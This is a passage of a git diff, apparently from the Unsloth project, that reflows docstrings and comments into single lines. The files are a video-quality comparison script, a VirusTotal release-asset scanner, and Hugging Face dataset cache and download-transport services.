unsloth/LTX-2.3-GGUF --model-kind gguf --reference "gguf_filename=distilled-1.1/ltx-2.3-22b-distilled-1.1-BF16.gguf" --candidates "gguf_filename=...-Q8_0.gguf" "gguf_filename=...-UD-Q4_K_M.gguf" --steps 8 --guidance 1.0` for GGUF quants against a BF16 GGUF reference; `--model Wan-AI/Wan2.2-TI2V-5B-Diffusers --reference "" --candidates "transformer_quant=int8" "speed_mode=max" --steps 20` for dense int8 and speed profiles against plain bf16."""from __future__ import annotations@@ -112,8 +76,7 @@ def frame_ssim(b: Any,window: int = 7,) -> float:- """Pure numpy box-window SSIM on luminance (Wang et al. constants); identical- math to scripts/diffusion_quality.py so image and video budgets compare."""+ """Pure numpy box-window SSIM on luminance (Wang et al. constants); identical math to scripts/diffusion_quality.py so image and video budgets compare."""ga, gb = _gray(a), _gray(b)if ga.shape != gb.shape:return 0.0@@ -130,9 +93,7 @@ def frame_ssim(def motion_energy(frames: Any) -> list[float]:- """Mean absolute frame-to-frame luminance difference, one value per frame- transition. The temporal signature of the clip: flicker inflates it, frozen- or smeared motion deflates it."""+ """Mean absolute frame-to-frame luminance difference, one value per frame transition: the temporal signature of the clip, inflated by flicker and deflated by frozen or smeared motion."""import numpy as npgrays = [_gray(f) for f in frames]@@ -140,8 +101,7 @@ def motion_energy(frames: Any) -> list[float]:def temporal_deviation(ref_frames: Any, cand_frames: Any) -> float:- """Relative L1 error between the two motion-energy series (0 = identical- temporal behaviour). Series lengths must match (same frame count)."""+ """Relative L1 error between the two motion-energy series (0 = identical temporal behaviour). Series lengths must match (same frame count)."""ref_series = motion_energy(ref_frames)cand_series = motion_energy(cand_frames)if len(ref_series) != len(cand_series) or not ref_series:@@ -158,8 +118,7 @@ def clip_metrics("""All frame metrics for one candidate clip vs the reference clip."""import numpy as np- # A truncated candidate is gated FAIL, not prefix-compared: good early frames would mask the- # missing tail.+ # A truncated candidate is gated FAIL, not prefix-compared: good early frames would mask the missing tail.ref_count, cand_count = len(ref_frames), len(cand_frames)frame_count_mismatch = ref_count != cand_countn = min(ref_count, cand_count)@@ -197,8 +156,7 @@ def clip_metrics(def audio_metrics(ref_audio: Optional[Any], cand_audio: Optional[Any]) -> dict[str, Any]:- """RMS comparison for families with sound. None audio on both sides is fine;- losing the track (or emitting silence) when the reference has one is not."""+ """RMS comparison for families with sound. None audio on both sides is fine; losing the track (or emitting silence) when the reference has one is not."""import numpy as npdef _rms(a: Any) -> Optional[float]:@@ -218,8 +176,7 @@ def audio_metrics(ref_audio: Optional[Any], cand_audio: Optional[Any]) -> dict[sdef verdict(metrics: dict[str, Any], audio: dict[str, Any]) -> str:- """PASS / WARN / FAIL per the standing accuracy budget (~25 percent structural- drift acceptable, 50 percent or a collapse never)."""+ """PASS / WARN / FAIL per the standing accuracy budget (~25 percent structural drift acceptable, 50 percent or a collapse never)."""if (metrics["has_nan"]or metrics.get("frame_count_mismatch")diff --git a/scripts/virustotal_scan.py b/scripts/virustotal_scan.pyindex 6668d67b312..b9c9cf234e3 100644--- a/scripts/virustotal_scan.py+++ b/scripts/virustotal_scan.py@@ -39,8 +39,7 @@ API_KEY_ENV = "VT_API_KEY"# Signature sidecars are a few hundred bytes of base64 produced by the Tauri updater signer.SKIPPED_SUFFIXES = (".sig",)-# The public API allows 4 requests/minute.-# 20s between requests keeps us just inside that even if the runner clock and VirusTotal's window disagree slightly.+# The public API allows 4 requests/minute. 20s between requests keeps us just inside that even if the runner clock and VirusTotal's window disagree slightly.DEFAULT_REQUEST_INTERVAL = 20.0DEFAULT_TIMEOUT_SECONDS = 1500.0@@ -48,8 +47,7 @@ DEFAULT_TIMEOUT_SECONDS = 1500.0DEFAULT_FAIL_THRESHOLD = 0_MAX_ATTEMPTS = 4-# A failed upload means fetching a fresh signed URL, so this is deliberately small: each retry re-sends 40+ MB and-# spends two more requests of quota.+# A failed upload means fetching a fresh signed URL, so this is deliberately small: each retry re-sends 40+ MB and spends two more requests of quota._UPLOAD_ATTEMPTS = 2_SOCKET_TIMEOUT = 300.0@@ -91,12 +89,7 @@ class FileReport:def parse_stats(raw: object) -> ScanStats:- """Coerce a VirusTotal stats dict into ScanStats.-- VirusTotal omits keys that are zero and has added categories over time- (`confirmed-timeout`, `type-unsupported`, `failure`), so every field is read- defensively rather than indexed.- """+ """Coerce a VirusTotal stats dict into ScanStats. VirusTotal omits keys that are zero and has added categories over time (`confirmed-timeout`, `type-unsupported`, `failure`), so every field is read defensively rather than indexed."""if not isinstance(raw, dict):return ScanStats()@@ -117,11 +110,7 @@ def parse_stats(raw: object) -> ScanStats:def parse_detections(raw: object) -> list[str]:- """Return the sorted engine names whose verdict was malicious or suspicious.-- The engine list is what makes a warning actionable: `3 malicious` is noise until- you can see whether it is three no-name heuristics or Microsoft plus Kaspersky.- """+ """Return the sorted engine names whose verdict was malicious or suspicious. The engine list is what makes a warning actionable: `3 malicious` is noise until you can see whether it is three no-name heuristics or Microsoft plus Kaspersky."""if not isinstance(raw, dict):return []names: list[str] = []@@ -161,22 +150,12 @@ def exceeds_threshold(reports: Sequence[FileReport], threshold: int) -> bool:def _md_code(text: str) -> str:- """Flatten a value that gets wrapped in a Markdown code span.-- A backslash is literal inside a code span, so a backtick cannot be escaped- there; swap it for an apostrophe rather than let it close the span.- """+ """Flatten a value that gets wrapped in a Markdown code span. A backslash is literal inside a code span, so a backtick cannot be escaped there; swap it for an apostrophe rather than let it close the span."""return " ".join(text.split()).replace("`", "'")def _md_text(text: str) -> str:- """Neutralise third-party text rendered as Markdown in the job summary.-- Engine names and detection labels are third-party data, and the summary is- appended to `$GITHUB_STEP_SUMMARY`. A newline ends the table row or bullet,- `|` opens a new cell, and `<` starts raw HTML, which GitHub renders, so an- engine list could otherwise break out and obscure the report.- """+ """Neutralise third-party text rendered as Markdown in the job summary. Engine names and detection labels are third-party data, and the summary is appended to `$GITHUB_STEP_SUMMARY`: a newline ends the table row or bullet, `|` opens a new cell, and `<` starts raw HTML, which GitHub renders, so an engine list could otherwise break out and obscure the report."""flattened = " ".join(text.split())escaped = flattened.replace("\\", "\\\\")for char in ("`", "|", "*", "_", "[", "]", "#"):@@ -184,11 +163,7 @@ def _md_text(text: str) -> str:return escaped.replace("<", "<").replace(">", ">")-# Also written by the workflow's placeholder step, so a reader sees one heading whether or not the scan produced a-# summary.-# Says neither "pre-flight" nor "post-publish": the scan runs after `publish-release`, but `inputs.draft` defaults to-# true, so the ordinary run has uploaded the assets to a draft rather than published them. Naming the assets is the-# only wording true of both dispatches.+# Also written by the workflow's placeholder step, so a reader sees one heading whether or not the scan produced a summary. Says neither "pre-flight" nor "post-publish": the scan runs after `publish-release`, but `inputs.draft` defaults to true, so the ordinary run has uploaded the assets to a draft rather than published them, and naming the assets is the only wording true of both dispatches.SUMMARY_HEADING = "### VirusTotal release asset scan"@@ -255,7 +230,6 @@ def render_markdown(reports: Sequence[FileReport], threshold: int) -> str:for report in notes:lines.append(f"- `{_md_code(report.name)}`: {_md_text(report.note)}")- # Use the flagged count because the results map may be absent.flagged = [report for report in reports if report.stats is not None and report.stats.flagged]if flagged:lines += submission_packet_lines(flagged)@@ -311,13 +285,7 @@ class VirusTotalClient:self._last_request_at: float | None = Nonedef _throttle(self, deadline: float | None = None) -> None:- """Pace requests, without ever sleeping past the caller's budget.-- Capping matters because the sleep sits between the caller's deadline check- and the network call: an uncapped sleep can carry execution past the- deadline and start a request that then blocks for the full socket timeout.- The caller re-checks the deadline once this returns.- """+ """Pace requests, without ever sleeping past the caller's budget. Capping matters because the sleep sits between the caller's deadline check and the network call: an uncapped sleep can carry execution past the deadline and start a request that then blocks for the full socket timeout. The caller re-checks the deadline once this returns."""if self._last_request_at is None:returnelapsed = self._clock() - self._last_request_at@@ -334,12 +302,7 @@ class VirusTotalClient:seconds: float,deadline: float | None = None,) -> None:- """Sleep between retry attempts, clamped to the remaining budget.-- The retry sleep grows exponentially, so a 429 arriving shortly before the- deadline could otherwise sleep well past `--timeout-seconds` before the- next iteration notices, delaying the summary the release step depends on.- """+ """Sleep between retry attempts, clamped to the remaining budget. The retry sleep grows exponentially, so a 429 arriving shortly before the deadline could otherwise sleep well past `--timeout-seconds` before the next iteration notices, delaying the summary the release step depends on."""if deadline is None:self._sleep(seconds)return@@ -357,19 +320,7 @@ class VirusTotalClient:max_attempts: int = _MAX_ATTEMPTS,deadline: float | None = None,) -> tuple[int, object]:- """Issue one API call, retrying 429s and transient network errors.-- Returns (status, decoded_json_or_None). Raises RuntimeError once the retry- budget is spent so the caller can degrade to a warning row.-- `max_attempts = 1` disables retrying, which is mandatory for a POST to a- single-use signed upload URL: replaying it can only ever be rejected.-- `deadline` is checked BEFORE each attempt. One attempt can block for the- full socket timeout, so a loop that only checks afterwards can overrun the- caller's budget by minutes and get the whole step killed before it writes- a summary.- """+ """Issue one API call, retrying 429s and transient network errors. Returns (status, decoded_json_or_None). Raises RuntimeError once the retry budget is spent so the caller can degrade to a warning row. `max_attempts = 1` disables retrying, which is mandatory for a POST to a single-use signed upload URL: replaying it can only ever be rejected. `deadline` is checked BEFORE each attempt, since one attempt can block for the full socket timeout and a loop that only checks afterwards can overrun the caller's budget by minutes and get the whole step killed before it writes a summary."""headers = {"x-apikey": self._api_key, "accept": "application/json"}if extra_headers:headers.update(extra_headers)@@ -380,8 +331,7 @@ class VirusTotalClient:if deadline is not None and self._clock() >= deadline:raise TimeoutError(f"deadline reached before {method} {_redact_url(url)}")self._throttle(deadline)- # Re-check: pacing sleeps between the check above and the call below, so without this a request could start- # after the deadline and then block for the full socket timeout, overrunning the step's own budget.+ # Re-check: pacing sleeps between the check above and the call below, so without this a request could start after the deadline and then block for the full socket timeout, overrunning the step's own budget.if deadline is not None and self._clock() >= deadline:raise TimeoutError(f"deadline reached while pacing before {method} {_redact_url(url)}"@@ -428,11 +378,7 @@ class VirusTotalClient:sha256: str,deadline: float | None = None,) -> object | None:- """Return the existing file report, or None when VirusTotal has never seen it.-- Doing this first is both a quota saving and a disclosure saving: a bundle that- VirusTotal already holds gains nothing from being uploaded again.- """+ """Return the existing file report, or None when VirusTotal has never seen it. Doing this first is both a quota saving and a disclosure saving: a bundle that VirusTotal already holds gains nothing from being uploaded again."""status, payload = self.request("GET",f"{API_ROOT}/files/{sha256}",@@ -442,9 +388,7 @@ class VirusTotalClient:if status == 404:return Noneif not isinstance(payload, dict):- # A 200 whose body did not parse (a proxy error page, a truncated read) proves nothing about whether- # VirusTotal holds this file. Returning None would be indistinguishable from a 404 and would upload the- # bundle, disclosing an unreleased build. Fail closed instead.+ # A 200 whose body did not parse (a proxy error page, a truncated read) proves nothing about whether VirusTotal holds this file. Returning None would be indistinguishable from a 404 and would upload the bundle, disclosing an unreleased build. Fail closed instead.raise RuntimeError("VirusTotal hash lookup returned a malformed body")return payload@@ -453,17 +397,7 @@ class VirusTotalClient:path: Path,deadline: float | None = None,) -> str:- """Upload via the large-file flow and return the analysis id.-- Every desktop bundle is 41-46 MB, which is over the 32 MB cap on- `POST /files`, so the signed upload URL is the only path that works here.-- Each signed URL is SINGLE USE, so the POST is issued with retries disabled.- Replaying one after, say, the response body failed to read would be rejected- no matter how many times we tried, and would report the asset as unavailable- while an analysis was in fact already running. Retrying instead means going- back for a fresh URL, which is what the loop below does.- """+ """Upload via the large-file flow and return the analysis id. Every desktop bundle is 41-46 MB, which is over the 32 MB cap on `POST /files`, so the signed upload URL is the only path that works here. Each signed URL is SINGLE USE, so the POST is issued with retries disabled: replaying one after, say, the response body failed to read would be rejected no matter how many times we tried, and would report the asset as unavailable while an analysis was in fact already running. Retrying instead means going back for a fresh URL, which is what the loop below does."""attempts = max(1, _UPLOAD_ATTEMPTS)last_error: Exception | None = Nonebody, content_type = _build_multipart(path)@@ -473,8 +407,7 @@ class VirusTotalClient:upload_url = payload.get("data") if isinstance(payload, dict) else Noneif not isinstance(upload_url, str) or not upload_url:raise RuntimeError("VirusTotal did not return an upload URL")- # Mask before the URL is ever used, so anything that later echoes it -- a traceback, a future debug- # print, a library error string -- is scrubbed.+ # Mask before the URL is ever used, so anything that later echoes it (a traceback, a future debug print, a library error string) is scrubbed._mask_in_actions(upload_url)try:@@ -498,10 +431,7 @@ class VirusTotalClient:if isinstance(payload, dict) and isinstance(payload.get("data"), dict):analysis_id = payload["data"].get("id")if not isinstance(analysis_id, str) or not analysis_id:- # An accepted upload whose acknowledgement did not parse is a failed attempt, not a dead end:- # VirusTotal may well be analysing the file already. Raising straight out would report the asset- # unavailable after we had paid the disclosure cost of sending it, so spend the remaining attempt- # on a fresh signed URL instead.+ # An accepted upload whose acknowledgement did not parse is a failed attempt, not a dead end: VirusTotal may well be analysing the file already. Raising straight out would report the asset unavailable after we had paid the disclosure cost of sending it, so spend the remaining attempt on a fresh signed URL instead.last_error = RuntimeError("VirusTotal upload did not return an analysis id")if attempt < attempts:continue@@ -513,8 +443,7 @@ class VirusTotalClient:def wait_for_analysis(self, analysis_id: str, deadline: float) -> object:"""Poll until the analysis completes or the caller's deadline passes."""while True:- # Checked inside request() too, but raising the analysis-specific message here keeps the summary row- # readable.+ # Checked inside request() too, but raising the analysis-specific message here keeps the summary row readable.if self._clock() >= deadline:raise TimeoutError(f"analysis {analysis_id} did not complete before the deadline")_, payload = self.request(@@ -546,18 +475,7 @@ def _redact_url(url: str) -> str:def _mask_in_actions(value: str) -> None:- """Register `value` with the runner's log scrubber.-- `VT_API_KEY` comes from a repository secret, so Actions masks it everywhere- automatically. The signed upload URL does not: VirusTotal mints it per call and- its query string is a credential, which makes it exactly the "sensitive- information that is not a GitHub secret" the Actions docs say to pass through- `::add-mask::`. Without this, the only thing keeping it out of the log is us- remembering to call `_redact_url` at every print site, which is a rule that- holds right up until someone adds a print or a traceback escapes.-- No-ops off the runner so local runs are not littered with workflow commands.- """+ """Register `value` with the runner's log scrubber. `VT_API_KEY` comes from a repository secret, so Actions masks it everywhere automatically; the signed upload URL does not, since VirusTotal mints it per call and its query string is a credential, which makes it exactly the "sensitive information that is not a GitHub secret" the Actions docs say to pass through `::add-mask::`. Without this, the only thing keeping it out of the log is us remembering to call `_redact_url` at every print site, which is a rule that holds right up until someone adds a print or a traceback escapes. No-ops off the runner so local runs are not littered with workflow commands."""if value and os.environ.get("GITHUB_ACTIONS") == "true":print(f"::add-mask::{value}", flush = True)@@ -573,19 +491,7 @@ def _attributes(payload: object) -> dict:def _record(report: FileReport, source: str, raw_stats: object, raw_results: object, *, completed: bool) -> None:- """Attach a verdict, but only when an analysis has actually completed.-- A hash can be known to VirusTotal with no finished analysis, in which case- `last_analysis_stats` is missing and `parse_stats` yields an all-zero- ScanStats. Reporting that as a clean row is the worst failure mode this- script has: it looks like 70 engines cleared the bundle when none ran. Leave- `stats` as None instead, which renders as dashes and never trips the gate.-- `completed` says whether the caller already has an authoritative completion- signal. The upload path polls until `status == "completed"`, so a stats dict- is enough there. The hash lookup carries no such field, so it additionally- has to see at least one engine verdict before believing the result.- """+ """Attach a verdict, but only when an analysis has actually completed. A hash can be known to VirusTotal with no finished analysis, in which case `last_analysis_stats` is missing and `parse_stats` yields an all-zero ScanStats, and reporting that as a clean row is the worst failure mode this script has: it looks like 70 engines cleared the bundle when none ran. Leave `stats` as None instead, which renders as dashes and never trips the gate. `completed` says whether the caller already has an authoritative completion signal: the upload path polls until `status == "completed"`, so a stats dict is enough there, while the hash lookup carries no such field and additionally has to see at least one engine verdict before believing the result."""stats = parse_stats(raw_stats)if not isinstance(raw_stats, dict) or (not completed and stats.total == 0):report.source = "no completed analysis"@@ -637,14 +543,8 @@ def scan_file(client: VirusTotalClient, path: Path, deadline: float) -> FileRepodef _gha_escape(text: str) -> str:- """Escape a string for a GH Actions `::warning::` message.-- Engine names, detection labels and error strings are third-party data, so- they can contain anything. GH Actions truncates an annotation at the first- newline unless `\\n`/`\\r` are escaped as `%0A`/`%0D`. `%` must be replaced- first to avoid double-encoding the subsequent escapes.-- Mirrors `_gha_escape` in scripts/lockfile_supply_chain_audit.py.+ """Escape a string for a GH Actions `::warning::` message. Engine names, detection labels and error strings are third-party data, so they can contain anything: GH Actions truncates an annotation at the first newline unless `+ `/`\\r` are escaped as `%0A`/`%0D`, and `%` must be replaced first to avoid double-encoding the subsequent escapes. Mirrors `_gha_escape` in scripts/lockfile_supply_chain_audit.py."""return text.replace("%", "%25").replace("\r", "%0D").replace("\n", "%0A")@@ -732,10 +632,7 @@ def main(argv: Sequence[str] | None = None) -> int:args.output_markdown.write_text(text, encoding = "utf-8")if not api_key:- # A missing secret must never break a release: forks and re-runs by contributors without the org secret still- # have to be able to publish.- # The env var NAME is written out literally rather than interpolated from API_KEY_ENV.- # test_missing_key_skips_without_failing asserts the two stay in step.+ # A missing secret must never break a release: forks and re-runs by contributors without the org secret still have to be able to publish. The env var NAME is written out literally rather than interpolated from API_KEY_ENV; test_missing_key_skips_without_failing asserts the two stay in step.print("virustotal_scan: VT_API_KEY is unset or empty; skipping the scan.",flush = True,diff --git a/studio/backend/hub/services/datasets/cache_inventory.py b/studio/backend/hub/services/datasets/cache_inventory.pyindex 6049586a246..d1a5b7b1d5c 100644--- a/studio/backend/hub/services/datasets/cache_inventory.py+++ b/studio/backend/hub/services/datasets/cache_inventory.py@@ -86,12 +86,7 @@ def _directory_stats(path: Path) -> tuple[int, float]:def _usable_mtime(value) -> float:- """a timestamp we are willing to publish, else 0.0 meaning "unknown".-- Finiteness is not paranoia about stat(): ``candidate`` is whatever- huggingface_hub put on the object, and Starlette encodes with- ``allow_nan = False``, so one inf 500s the whole response.- """+ """a timestamp we are willing to publish, else 0.0 meaning "unknown". Finiteness is not paranoia about stat(): ``candidate`` is whatever huggingface_hub put on the object, and Starlette encodes with ``allow_nan = False``, so one inf 500s the whole response."""if not isinstance(value, (int, float)) or isinstance(value, bool):return 0.0value = float(value)@@ -99,11 +94,7 @@ def _usable_mtime(value) -> float:def _safe_mtime(path: Path) -> float:- """directory mtime as POSIX seconds, or 0.0 when unreadable.-- mtime only, so it is portable across Windows, macOS and Linux. A broken- symlink or a share with no clock lands on 0.0, which callers drop.- """+ """directory mtime as POSIX seconds, or 0.0 when unreadable. mtime only, so it is portable across Windows, macOS and Linux; a broken symlink or a share with no clock lands on 0.0, which callers drop."""try:return _usable_mtime(path.stat().st_mtime)except OSError:@@ -111,11 +102,7 @@ def _safe_mtime(path: Path) -> float:def _dataset_last_modified(candidate, *paths: Optional[Path]) -> float:- """newest change time for a cached dataset row, as POSIX seconds.-- Prefers huggingface_hub's own value, else stat()s the cache dirs. Same unit- as the cached-model scan.- """+ """newest change time for a cached dataset row, as POSIX seconds. Prefers huggingface_hub's own value, else stat()s the cache dirs. Same unit as the cached-model scan."""newest = _usable_mtime(candidate)for path in paths:if path is None:@@ -135,12 +122,7 @@ def _merge_last_modified(existing: dict, row: dict) -> None:def _adopt_newer_last_modified(winner: dict, loser: Optional[dict]) -> None:- """carry a discarded row's timestamp onto the row that replaces it.-- Winning is decided on completeness then size, neither of which is recency,- so a bigger-but-older copy would otherwise bury the newer date and sink the- dataset in Recent. The cached-model scan keeps the max the same way.- """+ """carry a discarded row's timestamp onto the row that replaces it. Winning is decided on completeness then size, neither of which is recency, so a bigger-but-older copy would otherwise bury the newer date and sink the dataset in Recent. The cached-model scan keeps the max the same way."""if loser is None:returnnewest = max(@@ -180,9 +162,7 @@ def _hub_dataset_snapshot_count(path: Path) -> int:return 0-# anything not named here counts as payload, so unknown formats are never read as an empty-# snapshot. the windows names are spelled out because huggingface_hub only added them after 0.36;-# the data-file names come from local_options so this and the resolver cannot drift apart.+# anything not named here counts as payload, so unknown formats are never read as an empty snapshot. the windows names are spelled out because huggingface_hub only added them after 0.36; the data-file names come from local_options so this and the resolver cannot drift apart._DATASET_NON_PAYLOAD_FILENAMES = (frozenset({@@ -201,21 +181,17 @@ _DATASET_NON_PAYLOAD_FILENAMES = ()-# suffixes no loader can turn into rows; a script also needs trust_remote_code, which no load path-# here passes and datasets>=4 dropped.+# suffixes no loader can turn into rows; a script also needs trust_remote_code, which no load path here passes and datasets>=4 dropped._DATASET_NON_PAYLOAD_SUFFIXES = frozenset({".cff", ".md", ".py", ".pyc"})def _is_payload_dir(name: str) -> bool:- # the only rule datasets applies to a directory, which also covers a Mac zip's __MACOSX. the- # metadata FILE names must not be applied here: license/train.parquet loads fine, and pruning that- # subtree hid the dataset from On Device.+ # the only rule datasets applies to a directory, which also covers a Mac zip's __MACOSX. the metadata FILE names must not be applied here: license/train.parquet loads fine, and pruning that subtree hid the dataset from On Device.return not name.startswith(".") and not name.startswith("__")def _is_payload_name(name: str) -> bool:- # as above, plus the metadata names: AppleDouble sidecars, every dotfile the list does not- # enumerate, and the cards a cancelled download leaves behind.+ # as above, plus the metadata names: AppleDouble sidecars, every dotfile the list does not enumerate, and the cards a cancelled download leaves behind.if not _is_payload_dir(name):return Falsereturn name.lower() not in _DATASET_NON_PAYLOAD_FILENAMES@@ -224,15 +200,13 @@ def _is_payload_name(name: str) -> bool:def _is_payload_file(name: str) -> bool:if not _is_payload_name(name):return False- # the resolver's suffix rule drops a trailing compression suffix: train.parquet.backup is still- # parquet, data.py.gz is still a script.+ # the resolver's suffix rule drops a trailing compression suffix: train.parquet.backup is still parquet, data.py.gz is still a script.suffix = local_options._data_suffix(name)return suffix is None or suffix.lower() not in _DATASET_NON_PAYLOAD_SUFFIXESdef _is_present_payload_file(path: Path) -> bool:- # existence is not enough: _empty_payload covers both shapes that look like payload and are not,- # a zero-byte file and a blobs/ link whose blob was pruned.+ # existence is not enough: _empty_payload covers both shapes that look like payload and are not, a zero-byte file and a blobs/ link whose blob was pruned.if not _is_payload_file(path.name):return Falseif local_options._empty_payload(path):@@ -243,19 +217,14 @@ def _is_present_payload_file(path: Path) -> bool:def _snapshot_holds_payload(snapshot: Path) -> Optional[bool]:- """True/False for this snapshot, or None when a subtree could not be read.-- None is not False: `os.walk` swallows `scandir` errors unless `onerror` is given, so a cache- on an unavailable mount would read as empty and hide a dataset that was merely uninspectable.- """+ """True/False for this snapshot, or None when a subtree could not be read. None is not False: `os.walk` swallows `scandir` errors unless `onerror` is given, so a cache on an unavailable mount would read as empty and hide a dataset that was merely uninspectable."""unreadable = Falsedef _note(_exc: OSError) -> None:nonlocal unreadableunreadable = True- # a junction pointing at its own ancestor resolves back inside the snapshot, so containment alone- # leaves data/loop/loop/... descending until the path length gives out.+ # a junction pointing at its own ancestor resolves back inside the snapshot, so containment alone leaves data/loop/loop/... descending until the path length gives out.seen: set[Path] = set()pending: list[Path] = []@@ -284,28 +253,24 @@ def _snapshot_holds_payload(snapshot: Path) -> Optional[bool]:base = Path(directory)kept = []for name in dirnames:- # nothing under a hidden or __-prefixed dir can supply rows, so .hidden/notes.txt must not clear- # partial.+ # nothing under a hidden or __-prefixed dir can supply rows, so .hidden/notes.txt must not clear partial.if not _is_payload_dir(name):continueentry = base / name- # containment, not a link-type test: is_symlink() is false for a Windows junction and is_junction()- # postdates 3.12, so only comparing resolved paths catches every redirect.+ # containment, not a link-type test: is_symlink() is false for a Windows junction and is_junction() postdates 3.12, so only comparing resolved paths catches every redirect.try:redirected = not entry.resolve(strict = True).is_relative_to(root)linked = entry.is_symlink()except (OSError, RuntimeError, ValueError):unreadable = Truecontinue- # walked as a root of its own, not taken as proof: migrated caches keep their data behind a- # redirect, and a stale one holds nothing.+ # walked as a root of its own, not taken as proof: migrated caches keep their data behind a redirect, and a stale one holds nothing.if redirected:target = _book(entry)if target is not None:pending.append(target)continue- # a symlink back inside this root is skipped, since booking its target would prune the real- # directory whenever alias is listed before data; a junction reports False here.+ # a symlink back inside this root is skipped, since booking its target would prune the real directory whenever alias is listed before data; a junction reports False here.if linked:continueif _book(entry) is None:@@ -320,15 +285,7 @@ def _snapshot_holds_payload(snapshot: Path) -> Optional[bool]:def _raw_dataset_cache_has_data(repo_id: str, cache_path: Path) -> bool:- """Whether the snapshot a load would actually open holds anything beyond metadata.-- A cancelled download can leave just the card, which every structural check reads as complete,- so the repo was offered On Device and then failed in load_dataset().-- Only the revision `dataset_snapshot_from_cache_path` selects counts, since that is what- `training_dataset_cache_pin` pins: a payload-bearing sibling revision would still not be the- one the run opens.- """+ """Whether the snapshot a load would actually open holds anything beyond metadata. A cancelled download can leave just the card, which every structural check reads as complete, so the repo was offered On Device and then failed in load_dataset(). Only the revision `dataset_snapshot_from_cache_path` selects counts, since that is what `training_dataset_cache_pin` pins: a payload-bearing sibling revision would still not be the one the run opens."""snapshot = dataset_snapshot_from_cache_path(str(cache_path), repo_id)if snapshot is None:return False@@ -409,10 +366,7 @@ def _repo_id_from_datasets_cache_dir(name: str) -> str | None:def _is_processed_dataset_cache_path(repo_id: str, cache_path: str) -> bool:- """True when *cache_path* is this repo's processed Arrow cache dir- (``<owner>___<repo>`` directly under an HF_DATASETS_CACHE root). Such rows- have no Hub ``datasets--`` layout, so they are deleted via the processed- path and must not be rejected as an invalid cache_path."""+ """True when *cache_path* is this repo's processed Arrow cache dir (``<owner>___<repo>`` directly under an HF_DATASETS_CACHE root). Such rows have no Hub ``datasets--`` layout, so they are deleted via the processed path and must not be rejected as an invalid cache_path."""try:resolved = Path(cache_path).expanduser().resolve(strict = False)except (OSError, RuntimeError, ValueError):@@ -696,8 +650,7 @@ def _delete_cached_dataset_blocking(repo_id: str, cache_path: Optional[str] = Noowners.setdefault(owner, []).append((hf_cache, repo_info))target_root = resolve_delete_target_root("dataset", repo_id, cache_path, owners.keys())- # A processed-only dataset row sends its Arrow cache path, which is not a Hub datasets-- dir, so- # resolve_delete_target_root returns None.+ # A processed-only dataset row sends its Arrow cache path, which is not a Hub datasets-- dir, so resolve_delete_target_root returns None.if target_root is None and not (cache_pathand (_is_processed_dataset_cache_path(repo_id, cache_path) or app_entry is not None)@@ -729,8 +682,7 @@ def _delete_cached_dataset_blocking(repo_id: str, cache_path: Optional[str] = Noexc_info = True,)- # A processed cache_path scopes to its own root, a Hub target to the datasets root sharing its cache- # home, and an unspecified one stays global.+ # A processed cache_path scopes to its own root, a Hub target to the datasets root sharing its cache home, and an unspecified one stays global.processed_roots: Optional[set[Path]]if not cache_path:processed_roots = None@@ -768,8 +720,7 @@ def _delete_cached_dataset_blocking(repo_id: str, cache_path: Optional[str] = No),)- # scan_cache_dir() skips blob-only or corrupt repos the revision delete cannot touch, yet the- # fallback scanner shows them, so purge the whole dir. Hub cache targets only.+ # scan_cache_dir() skips blob-only or corrupt repos the revision delete cannot touch, yet the fallback scanner shows them, so purge the whole dir. Hub cache targets only.cache_purged = partial_purged = state_purged = Falseif target_root is not None:cache_purged = purge_repo_cache_dirs("dataset", repo_id, root = target_root)diff --git a/studio/backend/hub/services/datasets/local_options.py b/studio/backend/hub/services/datasets/local_options.pyindex ee49a7fbac7..92fb4b3b5ad 100644--- a/studio/backend/hub/services/datasets/local_options.py+++ b/studio/backend/hub/services/datasets/local_options.py@@ -257,7 +257,6 @@ def _read_card_metadata(path: Path) -> Any:# whose symlink leaves the repository is refused, and only trainable extensions are offered.# Past this the result would depend on traversal order, so nothing is offered.-# --- Split inference for cached datasets whose card declares nothing ------------------_MAX_SNAPSHOT_DATA_FILES = 200_000# datasets drops these by basename before it infers anything, so a metadata-only cache is empty# rather than a bogus train split.diff --git a/studio/backend/hub/services/download_lifecycle.py b/studio/backend/hub/services/download_lifecycle.pyindex acc44fca23b..02b5d3898d5 100644--- a/studio/backend/hub/services/download_lifecycle.py+++ b/studio/backend/hub/services/download_lifecycle.py@@ -30,8 +30,7 @@ def backend_dir() -> Path:def resolve_effective_use_xet(use_xet: bool) -> bool:- """Downgrade an Xet request to HTTP when hf_xet is unavailable, so a defaulted- or explicit Xet request never hard-fails on installs without the Xet extra."""+ """Downgrade an Xet request to HTTP when hf_xet is unavailable, so a defaulted or explicit Xet request never hard-fails on installs without the Xet extra."""if not use_xet:return Falsereason = download_registry.download_transport_unavailable_reason(@@ -44,12 +43,7 @@ def resolve_effective_use_xet(use_xet: bool) -> bool:def resolve_requested_use_xet(transport_mode: Optional[str], use_xet: bool) -> tuple[bool, str]:- """Turn a download request's transport preference into ``(use_xet, reason)``.-- ``transport_mode`` is the current field; ``use_xet`` is the older boolean, still honoured so an- older frontend or scripted caller keeps working. An explicit "xet" is respected even on a- machine the health check dislikes, but still gets the memory caps and the stall fallback.- """+ """Turn a download request's transport preference into ``(use_xet, reason)``. ``transport_mode`` is the current field; ``use_xet`` is the older boolean, still honoured so an older frontend or scripted caller keeps working. An explicit "xet" is respected even on a machine the health check dislikes, but still gets the memory caps and the stall fallback."""mode = (transport_mode or "").strip().lower()if mode == download_registry.TRANSPORT_HTTP:return (False, "HTTP (requested)")@@ -62,12 +56,7 @@ def resolve_requested_use_xet(transport_mode: Optional[str], use_xet: bool) -> tdef resolve_auto_use_xet() -> tuple[bool, str]:- """Pick a transport for a download the user left on "Auto". Returns ``(use_xet, reason)``.-- Server-side on purpose: only the backend can see this machine's RAM, its hf_xet build, and- whether Xet has been failing here. Probing IS allowed here, unlike in the capabilities endpoint- the UI polls on render, because this runs once per download request and the verdict is memoized.- """+ """Pick a transport for a download the user left on "Auto". Returns ``(use_xet, reason)``. Server-side on purpose: only the backend can see this machine's RAM, its hf_xet build, and whether Xet has been failing here. Probing IS allowed here, unlike in the capabilities endpoint the UI polls on render, because this runs once per download request and the verdict is memoized."""if not resolve_effective_use_xet(True):return (False, "hf_xet is not installed")try:@@ -82,11 +71,9 @@ def resolve_auto_use_xet() -> tuple[bool, str]:if health is not None and not health.use_xet:return (False, reason)if _health_is_forced(health):- # UNSLOTH_FORCE_XET=1 has to win here, since the zoo's off switches already win above and the pair- # would otherwise be asymmetric; buffers are still clamped to free RAM.+ # UNSLOTH_FORCE_XET=1 has to win here, since the zoo's off 